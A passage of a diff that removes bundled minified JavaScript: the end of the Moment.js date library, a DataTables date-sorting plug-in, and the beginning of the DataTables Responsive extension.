)(\d\d(:\d\d(:\d\d(\.\d+)?)?)?)?([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ec="YYYY-MM-DDTHH:mm:ssZ",fc=[["YYYYYY-MM-DD",/[+-]\d{6}-\d{2}-\d{2}/],["YYYY-MM-DD",/\d{4}-\d{2}-\d{2}/],["GGGG-[W]WW-E",/\d{4}-W\d{2}-\d/],["GGGG-[W]WW",/\d{4}-W\d{2}/],["YYYY-DDD",/\d{4}-\d{3}/]],gc=[["HH:mm:ss.SSSS",/(T| )\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss",/(T| )\d\d:\d\d:\d\d/],["HH:mm",/(T| )\d\d:\d\d/],["HH",/(T| )\d\d/]],hc=/([\+\-]|\d\d)/gi,ic=("Date|Hours|Minutes|Seconds|Milliseconds".split("|"),{Milliseconds:1,Seconds:1e3,Minutes:6e4,Hours:36e5,Days:864e5,Months:2592e6,Years:31536e6}),jc={ms:"millisecond",s:"second",m:"minute",h:"hour",d:"day",D:"date",w:"week",W:"isoWeek",M:"month",Q:"quarter",y:"year",DDD:"dayOfYear",e:"weekday",E:"isoWeekday",gg:"weekYear",GG:"isoWeekYear"},kc={dayofyear:"dayOfYear",isoweekday:"isoWeekday",isoweek:"isoWeek",weekyear:"weekYear",isoweekyear:"isoWeekYear"},lc={},mc={s:45,m:45,h:22,d:26,M:11},nc="DDD w W M D d".split(" "),oc="M D H h m s w W".split(" "),pc={M:function(){return this.month()+1},MMM:function(a){return this.localeData().monthsShort(this,a)},MMMM:function(a){return this.localeData().months(this,a)},D:function(){return this.date()},DDD:function(){return this.dayOfYear()},d:function(){return this.day()},dd:function(a){return this.localeData().weekdaysMin(this,a)},ddd:function(a){return this.localeData().weekdaysShort(this,a)},dddd:function(a){return this.localeData().weekdays(this,a)},w:function(){return this.week()},W:function(){return this.isoWeek()},YY:function(){return p(this.year()%100,2)},YYYY:function(){return p(this.year(),4)},YYYYY:function(){return p(this.year(),5)},YYYYYY:function(){var a=this.year(),b=a>=0?"+":"-";return b+p(Math.abs(a),6)},gg:function(){return p(this.weekYear()%100,2)},gggg:function(){return p(this.weekYear(),4)},ggggg:function(){return p(this.weekYear(),5)},GG:function(){return p(this.isoWeekYear()%100,2)},GGGG:function(){return p(this.isoWeekYear(),4)},GGGGG:function(){return p(this.isoWeekYear(),5)},e:function(){return this.weekday()},E:function(){return this.isoWeekday()},a:function(){return this.localeData().meridiem(this.hours(),this.minutes(),!0)},A:function(){return this.localeData().meridiem(this.hours(),this.minutes(),!1)},H:function(){return this.hours()},h:function(){return this.hours()%12||12},m:function(){return this.minutes()},s:function(){return this.seconds()},S:function(){return A(this.milliseconds()/100)},SS:function(){return p(A(this.milliseconds()/10),2)},SSS:function(){return p(this.milliseconds(),3)},SSSS:function(){return p(this.milliseconds(),3)},Z:function(){var a=-this.zone(),b="+";return 0>a&&(a=-a,b="-"),b+p(A(a/60),2)+":"+p(A(a)%60,2)},ZZ:function(){var a=-this.zone(),b="+";return 0>a&&(a=-a,b="-"),b+p(A(a/60),2)+p(A(a)%60,2)},z:function(){return this.zoneAbbr()},zz:function(){return this.zoneName()},x:function(){return this.valueOf()},X:function(){return this.unix()},Q:function(){return this.quarter()}},qc={},rc=["months","monthsShort","weekdays","weekdaysShort","weekdaysMin"];nc.length;)vb=nc.pop(),pc[vb+"o"]=i(pc[vb],vb);for(;oc.length;)vb=oc.pop(),pc[vb+vb]=h(pc[vb],2);pc.DDDD=h(pc.DDD,3),m(j.prototype,{set:function(a){var b,c;for(c in a)b=a[c],"function"==typeof b?this[c]=b:this["_"+c]=b;this._ordinalParseLenient=new RegExp(this._ordinalParse.source+"|"+/\d{1,2}/.source)},_months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),months:function(a){return this._months[a.month()]},_monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),monthsShort:function(a){return this._monthsShort[a.month()]},monthsParse:function(a,b,c){var d,e,f;for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),d=0;12>d;d++){if(e=tb.utc([2e3,d]),c&&!this._longMonthsParse[d]&&(this._longMonthsParse[d]=new RegExp("^"+this.months(e,"").replace(".","")+"$","i"),this._shortMonthsParse[d]=new RegExp("^"+this.monthsShort(e,"").replace(".","")+"$","i")),c||this._monthsParse[d]||(f="^"+this.months(e,"")+"|^"+this.monthsShort(e,""),this._monthsParse[d]=new RegExp(f.replace(".",""),"i")),c&&"MMMM"===b&&this._longMonthsParse[d].test(a))return d;if(c&&"MMM"===b&&this._shortMonthsParse[d].test(a))return d;if(!c&&this._monthsParse[d].test(a))return d}},_weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdays:function(a){return this._weekdays[a.day()]},_weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysShort:function(a){return this._weekdaysShort[a.day()]},_weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),weekdaysMin:function(a){return this._weekdaysMin[a.day()]},weekdaysParse:function(a){var b,c,d;for(this._weekdaysParse||(this._weekdaysParse=[]),b=0;7>b;b++)if(this._weekdaysParse[b]||(c=tb([2e3,1]).day(b),d="^"+this.weekdays(c,"")+"|^"+this.weekdaysShort(c,"")+"|^"+this.weekdaysMin(c,""),this._weekdaysParse[b]=new RegExp(d.replace(".",""),"i")),this._weekdaysParse[b].test(a))return b},_longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY LT",LLLL:"dddd, MMMM D, YYYY LT"},longDateFormat:function(a){var b=this._longDateFormat[a];return!b&&this._longDateFormat[a.toUpperCase()]&&(b=this._longDateFormat[a.toUpperCase()].replace(/MMMM|MM|DD|dddd/g,function(a){return a.slice(1)}),this._longDateFormat[a]=b),b},isPM:function(a){return"p"===(a+"").toLowerCase().charAt(0)},_meridiemParse:/[ap]\.?m?\.?/i,meridiem:function(a,b,c){return a>11?c?"pm":"PM":c?"am":"AM"},_calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},calendar:function(a,b,c){var d=this._calendar[a];return"function"==typeof d?d.apply(b,[c]):d},_relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},relativeTime:function(a,b,c,d){var e=this._relativeTime[c];return"function"==typeof e?e(a,b,c,d):e.replace(/%d/i,a)},pastFuture:function(a,b){var c=this._relativeTime[a>0?"future":"past"];return"function"==typeof c?c(b):c.replace(/%s/i,b)},ordinal:function(a){return this._ordinal.replace("%d",a)},_ordinal:"%d",_ordinalParse:/\d{1,2}/,preparse:function(a){return a},postformat:function(a){return a},week:function(a){return hb(a,this._week.dow,this._week.doy).week},_week:{dow:0,doy:6},_invalidDate:"Invalid date",invalidDate:function(){return this._invalidDate}}),tb=function(b,c,e,f){var g;return"boolean"==typeof e&&(f=e,e=a),g={},g._isAMomentObject=!0,g._i=b,g._f=c,g._l=e,g._strict=f,g._isUTC=!1,g._pf=d(),jb(g)},tb.suppressDeprecationWarnings=!1,tb.createFromInputFallback=f("moment construction falls back to js Date. This is discouraged and will be removed in upcoming major release. Please refer to https://github.com/moment/moment/issues/1407 for more info.",function(a){a._d=new Date(a._i+(a._useUTC?" UTC":""))}),tb.min=function(){var a=[].slice.call(arguments,0);return kb("isBefore",a)},tb.max=function(){var a=[].slice.call(arguments,0);return kb("isAfter",a)},tb.utc=function(b,c,e,f){var g;return"boolean"==typeof e&&(f=e,e=a),g={},g._isAMomentObject=!0,g._useUTC=!0,g._isUTC=!0,g._l=e,g._i=b,g._f=c,g._strict=f,g._pf=d(),jb(g).utc()},tb.unix=function(a){return tb(1e3*a)},tb.duration=function(a,b){var d,e,f,g,h=a,i=null;return tb.isDuration(a)?h={ms:a._milliseconds,d:a._days,M:a._months}:"number"==typeof a?(h={},b?h[b]=a:h.milliseconds=a):(i=Lb.exec(a))?(d="-"===i[1]?-1:1,h={y:0,d:A(i[Cb])*d,h:A(i[Db])*d,m:A(i[Eb])*d,s:A(i[Fb])*d,ms:A(i[Gb])*d}):(i=Mb.exec(a))?(d="-"===i[1]?-1:1,f=function(a){var b=a&&parseFloat(a.replace(",","."));return(isNaN(b)?0:b)*d},h={y:f(i[2]),M:f(i[3]),d:f(i[4]),h:f(i[5]),m:f(i[6]),s:f(i[7]),w:f(i[8])}):"object"==typeof h&&("from"in h||"to"in h)&&(g=r(tb(h.from),tb(h.to)),h={},h.ms=g.milliseconds,h.M=g.months),e=new l(h),tb.isDuration(a)&&c(a,"_locale")&&(e._locale=a._locale),e},tb.version=wb,tb.defaultFormat=ec,tb.ISO_8601=function(){},tb.momentProperties=Ib,tb.updateOffset=function(){},tb.relativeTimeThreshold=function(b,c){return mc[b]===a?!1:c===a?mc[b]:(mc[b]=c,!0)},tb.lang=f("moment.lang is deprecated. Use moment.locale instead.",function(a,b){return tb.locale(a,b)}),tb.locale=function(a,b){var c;return a&&(c="undefined"!=typeof b?tb.defineLocale(a,b):tb.localeData(a),c&&(tb.duration._locale=tb._locale=c)),tb._locale._abbr},tb.defineLocale=function(a,b){return null!==b?(b.abbr=a,Hb[a]||(Hb[a]=new j),Hb[a].set(b),tb.locale(a),Hb[a]):(delete Hb[a],null)},tb.langData=f("moment.langData is deprecated. Use moment.localeData instead.",function(a){return tb.localeData(a)}),tb.localeData=function(a){var b;if(a&&a._locale&&a._locale._abbr&&(a=a._locale._abbr),!a)return tb._locale;if(!u(a)){if(b=J(a))return b;a=[a]}return I(a)},tb.isMoment=function(a){return a instanceof k||null!=a&&c(a,"_isAMomentObject")},tb.isDuration=function(a){return a instanceof l};for(vb=rc.length-1;vb>=0;--vb)z(rc[vb]);tb.normalizeUnits=function(a){return x(a)},tb.invalid=function(a){var b=tb.utc(0/0);return null!=a?m(b._pf,a):b._pf.userInvalidated=!0,b},tb.parseZone=function(){return tb.apply(null,arguments).parseZone()},tb.parseTwoDigitYear=function(a){return A(a)+(A(a)>68?1900:2e3)},m(tb.fn=k.prototype,{clone:function(){return tb(this)},valueOf:function(){return+this._d+6e4*(this._offset||0)},unix:function(){return Math.floor(+this/1e3)},toString:function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},toDate:function(){return this._offset?new Date(+this):this._d},toISOString:function(){var a=tb(this).utc();return 0<a.year()&&a.year()<=9999?"function"==typeof Date.prototype.toISOString?this.toDate().toISOString():N(a,"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]"):N(a,"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]")},toArray:function(){var a=this;return[a.year(),a.month(),a.date(),a.hours(),a.minutes(),a.seconds(),a.milliseconds()]},isValid:function(){return G(this)},isDSTShifted:function(){return this._a?this.isValid()&&w(this._a,(this._isUTC?tb.utc(this._a):tb(this._a)).toArray())>0:!1},parsingFlags:function(){return m({},this._pf)},invalidAt:function(){return this._pf.overflow},utc:function(a){return this.zone(0,a)},local:function(a){return this._isUTC&&(this.zone(0,a),this._isUTC=!1,a&&this.add(this._dateTzOffset(),"m")),this},format:function(a){var b=N(this,a||tb.defaultFormat);return this.localeData().postformat(b)},add:s(1,"add"),subtract:s(-1,"subtract"),diff:function(a,b,c){var d,e,f,g=K(a,this),h=6e4*(this.zone()-g.zone());return b=x(b),"year"===b||"month"===b?(d=432e5*(this.daysInMonth()+g.daysInMonth()),e=12*(this.year()-g.year())+(this.month()-g.month()),f=this-tb(this).startOf("month")-(g-tb(g).startOf("month")),f-=6e4*(this.zone()-tb(this).startOf("month").zone()-(g.zone()-tb(g).startOf("month").zone())),e+=f/d,"year"===b&&(e/=12)):(d=this-g,e="second"===b?d/1e3:"minute"===b?d/6e4:"hour"===b?d/36e5:"day"===b?(d-h)/864e5:"week"===b?(d-h)/6048e5:d),c?e:o(e)},from:function(a,b){return tb.duration({to:this,from:a}).locale(this.locale()).humanize(!b)},fromNow:function(a){return this.from(tb(),a)},calendar:function(a){var b=a||tb(),c=K(b,this).startOf("day"),d=this.diff(c,"days",!0),e=-6>d?"sameElse":-1>d?"lastWeek":0>d?"lastDay":1>d?"sameDay":2>d?"nextDay":7>d?"nextWeek":"sameElse";return this.format(this.localeData().calendar(e,this,tb(b)))},isLeapYear:function(){return E(this.year())},isDST:function(){return this.zone()<this.clone().month(0).zone()||this.zone()<this.clone().month(5).zone()},day:function(a){var b=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=a?(a=eb(a,this.localeData()),this.add(a-b,"d")):b},month:ob("Month",!0),startOf:function(a){switch(a=x(a)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===a?this.weekday(0):"isoWeek"===a&&this.isoWeekday(1),"quarter"===a&&this.month(3*Math.floor(this.month()/3)),this},endOf:function(b){return b=x(b),b===a||"millisecond"===b?this:this.startOf(b).add(1,"isoWeek"===b?"week":b).subtract(1,"ms")},isAfter:function(a,b){var c;return b=x("undefined"!=typeof b?b:"millisecond"),"millisecond"===b?(a=tb.isMoment(a)?a:tb(a),+this>+a):(c=tb.isMoment(a)?+a:+tb(a),c<+this.clone().startOf(b))},isBefore:function(a,b){var c;return b=x("undefined"!=typeof b?b:"millisecond"),"millisecond"===b?(a=tb.isMoment(a)?a:tb(a),+a>+this):(c=tb.isMoment(a)?+a:+tb(a),+this.clone().endOf(b)<c)},isSame:function(a,b){var c;return b=x(b||"millisecond"),"millisecond"===b?(a=tb.isMoment(a)?a:tb(a),+this===+a):(c=+tb(a),+this.clone().startOf(b)<=c&&c<=+this.clone().endOf(b))},min:f("moment().min is deprecated, use moment.min instead. https://github.com/moment/moment/issues/1548",function(a){return a=tb.apply(null,arguments),this>a?this:a}),max:f("moment().max is deprecated, use moment.max instead. https://github.com/moment/moment/issues/1548",function(a){return a=tb.apply(null,arguments),a>this?this:a}),zone:function(a,b){var c,d=this._offset||0;return null==a?this._isUTC?d:this._dateTzOffset():("string"==typeof a&&(a=Q(a)),Math.abs(a)<16&&(a=60*a),!this._isUTC&&b&&(c=this._dateTzOffset()),this._offset=a,this._isUTC=!0,null!=c&&this.subtract(c,"m"),d!==a&&(!b||this._changeInProgress?t(this,tb.duration(d-a,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,tb.updateOffset(this,!0),this._changeInProgress=null)),this)},zoneAbbr:function(){return this._isUTC?"UTC":""},zoneName:function(){return this._isUTC?"Coordinated Universal Time":""},parseZone:function(){return this._tzm?this.zone(this._tzm):"string"==typeof this._i&&this.zone(this._i),this},hasAlignedHourOffset:function(a){return a=a?tb(a).zone():0,(this.zone()-a)%60===0},daysInMonth:function(){return B(this.year(),this.month())},dayOfYear:function(a){var b=yb((tb(this).startOf("day")-tb(this).startOf("year"))/864e5)+1;return null==a?b:this.add(a-b,"d")},quarter:function(a){return null==a?Math.ceil((this.month()+1)/3):this.month(3*(a-1)+this.month()%3)},weekYear:function(a){var b=hb(this,this.localeData()._week.dow,this.localeData()._week.doy).year;return null==a?b:this.add(a-b,"y")},isoWeekYear:function(a){var b=hb(this,1,4).year;return null==a?b:this.add(a-b,"y")},week:function(a){var b=this.localeData().week(this);return null==a?b:this.add(7*(a-b),"d")},isoWeek:function(a){var b=hb(this,1,4).week;return null==a?b:this.add(7*(a-b),"d")},weekday:function(a){var b=(this.day()+7-this.localeData()._week.dow)%7;return null==a?b:this.add(a-b,"d")},isoWeekday:function(a){return null==a?this.day()||7:this.day(this.day()%7?a:a-7)},isoWeeksInYear:function(){return C(this.year(),1,4)},weeksInYear:function(){var a=this.localeData()._week;return C(this.year(),a.dow,a.doy)},get:function(a){return a=x(a),this[a]()},set:function(a,b){return a=x(a),"function"==typeof this[a]&&this[a](b),this},locale:function(b){var c;return b===a?this._locale._abbr:(c=tb.localeData(b),null!=c&&(this._locale=c),this)},lang:f("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(b){return b===a?this.localeData():this.locale(b)}),localeData:function(){return this._locale},_dateTzOffset:function(){return 15*Math.round(this._d.getTimezoneOffset()/15)}}),tb.fn.millisecond=tb.fn.milliseconds=ob("Milliseconds",!1),tb.fn.second=tb.fn.seconds=ob("Seconds",!1),tb.fn.minute=tb.fn.minutes=ob("Minutes",!1),tb.fn.hour=tb.fn.hours=ob("Hours",!0),tb.fn.date=ob("Date",!0),tb.fn.dates=f("dates accessor is deprecated. Use date instead.",ob("Date",!0)),tb.fn.year=ob("FullYear",!0),tb.fn.years=f("years accessor is deprecated. Use year instead.",ob("FullYear",!0)),tb.fn.days=tb.fn.day,tb.fn.months=tb.fn.month,tb.fn.weeks=tb.fn.week,tb.fn.isoWeeks=tb.fn.isoWeek,tb.fn.quarters=tb.fn.quarter,tb.fn.toJSON=tb.fn.toISOString,m(tb.duration.fn=l.prototype,{_bubble:function(){var a,b,c,d=this._milliseconds,e=this._days,f=this._months,g=this._data,h=0;g.milliseconds=d%1e3,a=o(d/1e3),g.seconds=a%60,b=o(a/60),g.minutes=b%60,c=o(b/60),g.hours=c%24,e+=o(c/24),h=o(pb(e)),e-=o(qb(h)),f+=o(e/30),e%=30,h+=o(f/12),f%=12,g.days=e,g.months=f,g.years=h},abs:function(){return this._milliseconds=Math.abs(this._milliseconds),this._days=Math.abs(this._days),this._months=Math.abs(this._months),this._data.milliseconds=Math.abs(this._data.milliseconds),this._data.seconds=Math.abs(this._data.seconds),this._data.minutes=Math.abs(this._data.minutes),this._data.hours=Math.abs(this._data.hours),this._data.months=Math.abs(this._data.months),this._data.years=Math.abs(this._data.years),this},weeks:function(){return o(this.days()/7)},valueOf:function(){return this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*A(this._months/12)},humanize:function(a){var b=gb(this,!a,this.localeData());return a&&(b=this.localeData().pastFuture(+this,b)),this.localeData().postformat(b)},add:function(a,b){var c=tb.duration(a,b);return this._milliseconds+=c._milliseconds,this._days+=c._days,this._months+=c._months,this._bubble(),this},subtract:function(a,b){var c=tb.duration(a,b);return this._milliseconds-=c._milliseconds,this._days-=c._days,this._months-=c._months,this._bubble(),this},get:function(a){return a=x(a),this[a.toLowerCase()+"s"]()},as:function(a){var b,c;if(a=x(a),"month"===a||"year"===a)return b=this._days+this._milliseconds/864e5,c=this._months+12*pb(b),"month"===a?c:c/12;switch(b=this._days+Math.round(qb(this._months/12)),a){case"week":return b/7+this._milliseconds/6048e5;case"day":return b+this._milliseconds/864e5;case"hour":return 24*b+this._milliseconds/36e5;case"minute":return 24*b*60+this._milliseconds/6e4;case"second":return 24*b*60*60+this._milliseconds/1e3;

-case"millisecond":return Math.floor(24*b*60*60*1e3)+this._milliseconds;default:throw new Error("Unknown unit "+a)}},lang:tb.fn.lang,locale:tb.fn.locale,toIsoString:f("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",function(){return this.toISOString()}),toISOString:function(){var a=Math.abs(this.years()),b=Math.abs(this.months()),c=Math.abs(this.days()),d=Math.abs(this.hours()),e=Math.abs(this.minutes()),f=Math.abs(this.seconds()+this.milliseconds()/1e3);return this.asSeconds()?(this.asSeconds()<0?"-":"")+"P"+(a?a+"Y":"")+(b?b+"M":"")+(c?c+"D":"")+(d||e||f?"T":"")+(d?d+"H":"")+(e?e+"M":"")+(f?f+"S":""):"P0D"},localeData:function(){return this._locale}}),tb.duration.fn.toString=tb.duration.fn.toISOString;for(vb in ic)c(ic,vb)&&rb(vb.toLowerCase());tb.duration.fn.asMilliseconds=function(){return this.as("ms")},tb.duration.fn.asSeconds=function(){return this.as("s")},tb.duration.fn.asMinutes=function(){return this.as("m")},tb.duration.fn.asHours=function(){return this.as("h")},tb.duration.fn.asDays=function(){return this.as("d")},tb.duration.fn.asWeeks=function(){return this.as("weeks")},tb.duration.fn.asMonths=function(){return this.as("M")},tb.duration.fn.asYears=function(){return this.as("y")},tb.locale("en",{ordinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(a){var b=a%10,c=1===A(a%100/10)?"th":1===b?"st":2===b?"nd":3===b?"rd":"th";return a+c}}),Jb?module.exports=tb:"function"==typeof define&&define.amd?(define("moment",function(a,b,c){return c.config&&c.config()&&c.config().noGlobal===!0&&(xb.moment=ub),tb}),sb(!0)):sb()}).call(this);

-

-/**

- * This plug-in for DataTables represents the ultimate option in extensibility

- * for sorting date / time strings correctly. It uses

- * [Moment.js](http://momentjs.com) to create automatic type detection and

- * sorting plug-ins for DataTables based on a given format. This way, DataTables

- * will automatically detect your temporal information and sort it correctly.

- *

- * For usage instructions, please see the DataTables blog

- * post that [introduces it](//datatables.net/blog/2014-12-18).

- *

- * @name Ultimate Date / Time sorting

- * @summary Sort date and time in any format using Moment.js

- * @author [Allan Jardine](//datatables.net)

- * @depends DataTables 1.10+, Moment.js 1.7+

- *

- * @example

- *    $.fn.dataTable.moment( 'HH:mm MMM D, YY' );

- *    $.fn.dataTable.moment( 'dddd, MMMM Do, YYYY' );

- *

- *    $('#example').DataTable();

- */

-

-(function($) {

-

-$.fn.dataTable.moment = function ( format, locale ) {

-	var types = $.fn.dataTable.ext.type;

-

-	// Add type detection

-	types.detect.unshift( function ( d ) {

-		return moment( d, format, locale, true ).isValid() ?

-			'moment-'+format :

-			null;

-	} );

-

-	// Add sorting method - use an integer for the sorting

-	types.order[ 'moment-'+format+'-pre' ] = function ( d ) {

-		return moment( d, format, locale, true ).unix();

-	};

-};

-

-}(jQuery));

-

-/*!

- Responsive 2.1.0

- 2014-2016 SpryMedia Ltd - datatables.net/license

-*/

-(function(c){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(l){return c(l,window,document)}):"object"===typeof exports?module.exports=function(l,k){l||(l=window);if(!k||!k.fn.dataTable)k=require("datatables.net")(l,k).$;return c(k,l,l.document)}:c(jQuery,window,document)})(function(c,l,k,p){var m=c.fn.dataTable,j=function(a,b){if(!m.versionCheck||!m.versionCheck("1.10.3"))throw"DataTables Responsive requires DataTables 1.10.3 or newer";this.s={dt:new m.Api(a),columns:[],

-current:[]};this.s.dt.settings()[0].responsive||(b&&"string"===typeof b.details?b.details={type:b.details}:b&&!1===b.details?b.details={type:!1}:b&&!0===b.details&&(b.details={type:"inline"}),this.c=c.extend(!0,{},j.defaults,m.defaults.responsive,b),a.responsive=this,this._constructor())};c.extend(j.prototype,{_constructor:function(){var a=this,b=this.s.dt,d=b.settings()[0],e=c(l).width();b.settings()[0]._responsive=this;c(l).on("resize.dtr orientationchange.dtr",m.util.throttle(function(){var b=

-c(l).width();b!==e&&(a._resize(),e=b)}));d.oApi._fnCallbackReg(d,"aoRowCreatedCallback",function(e){-1!==c.inArray(!1,a.s.current)&&c("td, th",e).each(function(e){e=b.column.index("toData",e);!1===a.s.current[e]&&c(this).css("display","none")})});b.on("destroy.dtr",function(){b.off(".dtr");c(b.table().body()).off(".dtr");c(l).off("resize.dtr orientationchange.dtr");c.each(a.s.current,function(b,e){!1===e&&a._setColumnVis(b,!0)})});this.c.breakpoints.sort(function(a,b){return a.width<b.width?1:a.width>

-b.width?-1:0});this._classLogic();this._resizeAuto();d=this.c.details;!1!==d.type&&(a._detailsInit(),b.on("column-visibility.dtr",function(){a._classLogic();a._resizeAuto();a._resize()}),b.on("draw.dtr",function(){a._redrawChildren()}),c(b.table().node()).addClass("dtr-"+d.type));b.on("column-reorder.dtr",function(){a._classLogic();a._resizeAuto();a._resize()});b.on("column-sizing.dtr",function(){a._resizeAuto();a._resize()});b.on("init.dtr",function(){a._resizeAuto();a._resize();c.inArray(false,

-a.s.current)&&b.columns.adjust()});this._resize()},_columnsVisiblity:function(a){var b=this.s.dt,d=this.s.columns,e,f,g=d.map(function(a,b){return{columnIdx:b,priority:a.priority}}).sort(function(a,b){return a.priority!==b.priority?a.priority-b.priority:a.columnIdx-b.columnIdx}),h=c.map(d,function(b){return b.auto&&null===b.minWidth?!1:!0===b.auto?"-":-1!==c.inArray(a,b.includeIn)}),n=0;e=0;for(f=h.length;e<f;e++)!0===h[e]&&(n+=d[e].minWidth);e=b.settings()[0].oScroll;e=e.sY||e.sX?e.iBarWidth:0;b=

-b.table().container().offsetWidth-e-n;e=0;for(f=h.length;e<f;e++)d[e].control&&(b-=d[e].minWidth);n=!1;e=0;for(f=g.length;e<f;e++){var i=g[e].columnIdx;"-"===h[i]&&(!d[i].control&&d[i].minWidth)&&(n||0>b-d[i].minWidth?(n=!0,h[i]=!1):h[i]=!0,b-=d[i].minWidth)}g=!1;e=0;for(f=d.length;e<f;e++)if(!d[e].control&&!d[e].never&&!h[e]){g=!0;break}e=0;for(f=d.length;e<f;e++)d[e].control&&(h[e]=g);-1===c.inArray(!0,h)&&(h[0]=!0);return h},_classLogic:function(){var a=this,b=this.c.breakpoints,d=this.s.dt,e=

-d.columns().eq(0).map(function(a){var b=this.column(a),e=b.header().className,a=d.settings()[0].aoColumns[a].responsivePriority;a===p&&(b=c(b.header()).data("priority"),a=b!==p?1*b:1E4);return{className:e,includeIn:[],auto:!1,control:!1,never:e.match(/\bnever\b/)?!0:!1,priority:a}}),f=function(a,b){var d=e[a].includeIn;-1===c.inArray(b,d)&&d.push(b)},g=function(c,d,i,g){if(i)if("max-"===i){g=a._find(d).width;d=0;for(i=b.length;d<i;d++)b[d].width<=g&&f(c,b[d].name)}else if("min-"===i){g=a._find(d).width;

-d=0;for(i=b.length;d<i;d++)b[d].width>=g&&f(c,b[d].name)}else{if("not-"===i){d=0;for(i=b.length;d<i;d++)-1===b[d].name.indexOf(g)&&f(c,b[d].name)}}else e[c].includeIn.push(d)};e.each(function(a,e){for(var d=a.className.split(" "),f=!1,j=0,l=d.length;j<l;j++){var k=c.trim(d[j]);if("all"===k){f=!0;a.includeIn=c.map(b,function(a){return a.name});return}if("none"===k||a.never){f=!0;return}if("control"===k){f=!0;a.control=!0;return}c.each(b,function(a,b){var d=b.name.split("-"),c=k.match(RegExp("(min\\-|max\\-|not\\-)?("+

-d[0]+")(\\-[_a-zA-Z0-9])?"));c&&(f=!0,c[2]===d[0]&&c[3]==="-"+d[1]?g(e,b.name,c[1],c[2]+c[3]):c[2]===d[0]&&!c[3]&&g(e,b.name,c[1],c[2]))})}f||(a.auto=!0)});this.s.columns=e},_detailsDisplay:function(a,b){var d=this,e=this.s.dt,f=this.c.details;if(f&&!1!==f.type){var g=f.display(a,b,function(){return f.renderer(e,a[0],d._detailsObj(a[0]))});(!0===g||!1===g)&&c(e.table().node()).triggerHandler("responsive-display.dt",[e,a,g,b])}},_detailsInit:function(){var a=this,b=this.s.dt,d=this.c.details;"inline"===

-d.type&&(d.target="td:first-child, th:first-child");b.on("draw.dtr",function(){a._tabIndexes()});a._tabIndexes();c(b.table().body()).on("keyup.dtr","td, th",function(a){a.keyCode===13&&c(this).data("dtr-keyboard")&&c(this).click()});var e=d.target;c(b.table().body()).on("click.dtr mousedown.dtr mouseup.dtr","string"===typeof e?e:"td, th",function(d){if(c(b.table().node()).hasClass("collapsed")&&b.row(c(this).closest("tr")).length){if(typeof e==="number"){var g=e<0?b.columns().eq(0).length+e:e;if(b.cell(this).index().column!==

-g)return}g=b.row(c(this).closest("tr"));d.type==="click"?a._detailsDisplay(g,false):d.type==="mousedown"?c(this).css("outline","none"):d.type==="mouseup"&&c(this).blur().css("outline","")}})},_detailsObj:function(a){var b=this,d=this.s.dt;return c.map(this.s.columns,function(e,c){if(!e.never&&!e.control)return{title:d.settings()[0].aoColumns[c].sTitle,data:d.cell(a,c).render(b.c.orthogonal),hidden:d.column(c).visible()&&!b.s.current[c],columnIndex:c,rowIndex:a}})},_find:function(a){for(var b=this.c.breakpoints,

-d=0,c=b.length;d<c;d++)if(b[d].name===a)return b[d]},_redrawChildren:function(){var a=this,b=this.s.dt;b.rows({page:"current"}).iterator("row",function(c,e){b.row(e);a._detailsDisplay(b.row(e),!0)})},_resize:function(){var a=this,b=this.s.dt,d=c(l).width(),e=this.c.breakpoints,f=e[0].name,g=this.s.columns,h,j=this.s.current.slice();for(h=e.length-1;0<=h;h--)if(d<=e[h].width){f=e[h].name;break}var i=this._columnsVisiblity(f);this.s.current=i;e=!1;h=0;for(d=g.length;h<d;h++)if(!1===i[h]&&!g[h].never&&

-!g[h].control){e=!0;break}c(b.table().node()).toggleClass("collapsed",e);var k=!1;b.columns().eq(0).each(function(b,c){i[c]!==j[c]&&(k=!0,a._setColumnVis(b,i[c]))});k&&(this._redrawChildren(),c(b.table().node()).trigger("responsive-resize.dt",[b,this.s.current]))},_resizeAuto:function(){var a=this.s.dt,b=this.s.columns;if(this.c.auto&&-1!==c.inArray(!0,c.map(b,function(a){return a.auto}))){a.table().node();var d=a.table().node().cloneNode(!1),e=c(a.table().header().cloneNode(!1)).appendTo(d),f=c(a.table().body()).clone(!1,

-!1).empty().appendTo(d),g=a.columns().header().filter(function(b){return a.column(b).visible()}).to$().clone(!1).css("display","table-cell");c(f).append(c(a.rows({page:"current"}).nodes()).clone(!1)).find("th, td").css("display","");if(f=a.table().footer()){var f=c(f.cloneNode(!1)).appendTo(d),h=a.columns().footer().filter(function(b){return a.column(b).visible()}).to$().clone(!1).css("display","table-cell");c("<tr/>").append(h).appendTo(f)}c("<tr/>").append(g).appendTo(e);"inline"===this.c.details.type&&

